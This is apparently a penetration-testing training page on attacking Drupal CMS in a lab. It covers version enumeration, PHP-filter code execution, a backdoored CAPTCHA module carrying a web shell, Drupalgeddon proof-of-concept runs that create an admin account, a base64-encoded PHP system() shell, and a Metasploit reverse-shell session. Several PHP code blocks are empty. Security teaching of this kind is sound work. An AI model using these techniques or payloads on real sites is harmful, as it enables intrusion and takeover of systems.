> For the complete documentation index, see [llms.txt](https://docs.hackjiji.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.hackjiji.org/web-pentesting/cms/drupal.md). # Drupal Drupal is another open-source CMS that is popular among companies and developers. Drupal is written in PHP and supports using MySQL or PostgreSQL for the backend. Additionally, SQLite can be used if there's no DBMS installed. Like WordPress, Drupal allows users to enhance their websites through the use of themes and modules. At the time of writing, the Drupal project has nearly 43,000 modules and 2,900 themes and is the third most popular CMS by market share. Here are a few interesting [statistics](https://websitebuilder.org/blog/drupal-statistics/) on Drupal gathered from various sources: ## Discovery The page URIs are usually of the form `/node/`. ```bash curl -s http://drupal.inlanefreight.local | grep Drupal Powered by Drupal ``` Drupal supports three types of users by default: 1. `Administrator`: This user has complete control over the Drupal website. 2. `Authenticated User`: These users can log in to the website and perform operations such as adding and editing articles based on their permissions. 3. `Anonymous`: All website visitors are designated as anonymous. By default, these users are only allowed to read posts. ## Version enumeration ```bash # -m option in grep specifies the number of matches to find before exiting. ## By using -m2, we are able to extract the first 2 matches in the file. curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 "" curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m1 "Drupal" ``` ## Automatic scans with Droopescan ```bash droopescan scan drupal -u http://drupal.inlanefreight.local [+] Plugins found: php http://drupal.inlanefreight.local/modules/php/ http://drupal.inlanefreight.local/modules/php/LICENSE.txt [+] No themes found. [+] Possible version(s): 8.9.0 8.9.1 [+] Possible interesting urls found: Default admin - http://drupal.inlanefreight.local/user/login [+] Scan finished (0:03:19.199526 elapsed) ``` From here we can search for known vulnerabilities with searchsploit or exploit-db. ## Attacking Drupal ### Before Version 8 **Before version 8** we should enable PHP filter module:

Create a basic page under content with the PHP one-liner to gain RCE ```php ```

Format the page to PHP:

Then we can execute commands from the node where the content has been created. `e.g. /node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id` ### From Version 8 From version 8 onwards, the [PHP Filter](https://www.drupal.org/project/php/releases/8.x-1.1) module is not installed by default. To leverage this functionality, we would have to install the module ourselves. Since we would be changing and adding something to the client's Drupal instance, we may want to check with them first. We'd start by downloading the most recent version of the module from the Drupal website. ```bash wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz ``` Once downloaded go to `Administration` > `Reports` > `Available updates`. From here, click on `Browse,` select the file from the directory we downloaded it to, and then click `Install`.

\ Once the module is installed, we can click on `Content` and create a new basic page, similar to how we did in the Drupal 7 example. Again, be sure to select `PHP code` from the `Text format` dropdown. ### Uploading a Backdoored Module Drupal allows users with appropriate permissions to upload a new module. A backdoored module can be created by adding a shell to an existing module. Modules can be found on the drupal.org website. Let's pick a module such as [CAPTCHA](https://www.drupal.org/project/captcha). Scroll down and copy the link for the tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz). Download the archive and extract its contents. ```shell-session wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz tar xvf captcha-8.x-1.2.tar.gz ``` Create a PHP web shell with the contents: ```php ``` Next, we need to create a .htaccess file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the /modules folder. Code: html ```html RewriteEngine On RewriteBase / ``` The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive. ```bash mv shell.php .htaccess captcha tar cvf captcha.tar.gz captcha/ captcha/ captcha/.travis.yml captcha/README.md captcha/captcha.api.php captcha/captcha.inc captcha/captcha.info.yml captcha/captcha.install ``` Assuming we have administrative access to the website, click on `Manage` and then `Extend` on the sidebar. Next, click on the `+ Install new module` button, and we will be taken to the install page, such as `http://drupal.inlanefreight.local/admin/modules/install` Browse to the backdoored Captcha archive and click `Install`.

Once the installation succeeds, browse to `/modules/captcha/shell.php` to execute commands. ```bash curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id ``` ### Leveraging Known Vulnerabilities Over the years, Drupal core has suffered from a few serious remote code execution vulnerabilities, each dubbed `Drupalgeddon`. At the time of writing, there are 3 Drupalgeddon vulnerabilities in existence. * [CVE-2014-3704](https://www.drupal.org/SA-CORE-2014-005), known as Drupalgeddon, affects versions 7.0 up to 7.31 and was fixed in version 7.32. This was a pre-authenticated SQL injection flaw that could be used to upload a malicious form or create a new admin user. * [CVE-2018-7600](https://www.drupal.org/sa-core-2018-002), also known as Drupalgeddon2, is a remote code execution vulnerability, which affects versions of Drupal prior to 7.58 and 8.5.1. The vulnerability occurs due to insufficient input sanitization during user registration, allowing system-level commands to be maliciously injected. * [CVE-2018-7602](https://cvedetails.com/cve/CVE-2018-7602/), also known as Drupalgeddon3, is a remote code execution vulnerability that affects multiple versions of Drupal 7.x and 8.x. This flaw exploits improper validation in the Form API. As stated previously, this flaw can be exploited by leveraging a pre-authentication SQL injection which can be used to upload malicious code or add an admin user. Let's try adding a new admin user with this [PoC](https://www.exploit-db.com/exploits/34992) script. Once an admin user is added, we could log in and enable the `PHP Filter` module to achieve remote code execution. Running the script with the `-h` flag shows us the help menu. ```shell-session HackJiji@htb[/htb]$ python2.7 drupalgeddon.py ______ __ _______ _______ _____ | _ \ .----.--.--.-----.---.-| | | _ || _ | _ | |. | \| _| | | _ | _ | | |___| _|___| |.| | |. | |__| |_____| __|___._|__| / |___(__ `-|. | |: 1 / |__| | | |: 1 | |: | |::.. . / | | |::.. . | |::.| `------' `---' `-------' `---' _______ __ ___ __ __ __ | _ .-----| | | .-----|__.-----.----| |_|__.-----.-----. | 1___| _ | | |. | | | -__| __| _| | _ | | |____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__| |: 1 | |__| |: | |___| |::.. . | |::.| `-------' `---' Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n Admin 4cc0unt cr3at0r Discovered by: Stefan Horst (CVE-2014-3704) Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww Usage: drupalgeddon.py -t http[s]://TARGET_URL -u USER -p PASS Options: -h, --help show this help message and exit -t TARGET, --target=TARGET Insert URL: http[s]://www.victim.com -u USERNAME, --username=USERNAME Insert username -p PWD, --pwd=PWD Insert password ``` Here we see that we need to supply the target URL and a username and password for our new admin account. Let's run the script and see if we get a new admin user. ```shell-session HackJiji@htb[/htb]$ python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd [!] VULNERABLE! [!] Administrator user created! [*] Login: hacker [*] Pass: pwnd [*] Url: http://drupal-qa.inlanefreight.local/?q=node&destination=node ``` Now let's see if we can log in as an admin. We can! Now from here, we could obtain a shell through the various means discussed previously in this section. ![Drupal user management page showing filters for role, permission, and status, with users admin and hacker listed as active administrators.](https://academy.hackthebox.com/storage/modules/113/drupalgeddon.png) We could also use the [exploit/multi/http/drupal\_drupageddon](https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon/) Metasploit module to exploit this. *** #### Drupalgeddon2 We can use [this](https://www.exploit-db.com/exploits/44448) PoC to confirm this vulnerability. Attacking Drupal ```shell-session HackJiji@htb[/htb]$ python3 drupalgeddon2.py ################################################################ # Proof-Of-Concept for CVE-2018-7600 # by Vitalii Rudnykh # Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders # https://github.com/a2u/CVE-2018-7600 ################################################################ Provided only for educational or information purposes Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/ Check: http://drupal-dev.inlanefreight.local/hello.txt ``` We can check quickly with `cURL` and see that the `hello.txt` file was indeed uploaded. ```shell-session curl -s http://drupal-dev.inlanefreight.local/hello.txt ;-) ``` Now let's modify the script to gain remote code execution by uploading a malicious PHP file. ```php ``` ```shell-session echo '' | base64 PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K ``` Next, let's replace the `echo` command in the exploit script with a command to write out our malicious PHP script. Attacking Drupal ```shell-session echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee mrb3n.php ``` Next, run the modified exploit script to upload our malicious PHP file. ```shell-session python3 drupalgeddon2.py ################################################################ # Proof-Of-Concept for CVE-2018-7600 # by Vitalii Rudnykh # Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders # https://github.com/a2u/CVE-2018-7600 ################################################################ Provided only for educational or information purposes Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/ Check: http://drupal-dev.inlanefreight.local/mrb3n.php ``` Finally, we can confirm remote code execution using `cURL`. ```shell-session curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` *** #### Drupalgeddon3 [Drupalgeddon3](https://github.com/rithchard/Drupalgeddon3) is an authenticated remote code execution vulnerability that affects [multiple versions](https://www.drupal.org/sa-core-2018-004) of Drupal core. It requires a user to have the ability to delete a node. We can exploit this using Metasploit, but we must first log in and obtain a valid session cookie. ![HTTP request details showing headers like User-Agent, Accept, and Cookie for drupal-acc.inlanefreight.local.](https://academy.hackthebox.com/storage/modules/113/burp.png) Once we have the session cookie, we can set up the exploit module as follows. ```shell-session msf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 10.129.42.195 msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.inlanefreight.local msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1 msf6 exploit(multi/http/drupal_drupageddon3) > set LHOST 10.10.14.15 msf6 exploit(multi/http/drupal_drupageddon3) > show options Module options (exploit/multi/http/drupal_drupageddon3): Name Current Setting Required Description ---- --------------- -------- ----------- DRUPAL_NODE 1 yes Exist Node Number (Page, Article, Forum topic, or a Post) DRUPAL_SESSION SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y yes Authenticated Cookie Session Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.129.42.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The target URI of the Drupal installation VHOST drupal-acc.inlanefreight.local no HTTP server virtual host Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.15 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 User register form with exec ``` If successful, we will obtain a reverse shell on the target host. ```shell-session msf6 exploit(multi/http/drupal_drupageddon3) > exploit [*] Started reverse TCP handler on 10.10.14.15:4444 [*] Token Form -> GH5mC4x2UeKKb2Dp6Mhk4A9082u9BU_sWtEudedxLRM [*] Token Form_build_id -> form-vjqTCj2TvVdfEiPtfbOSEF8jnyB6eEpAPOSHUR2Ebo8 [*] Sending stage (39264 bytes) to 10.129.42.195 [*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.129.42.195:44612) at 2021-08-24 12:38:07 -0400 meterpreter > getuid Server username: www-data (33) meterpreter > sysinfo Computer : app01 OS : Linux app01 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 Meterpreter : php/linux ```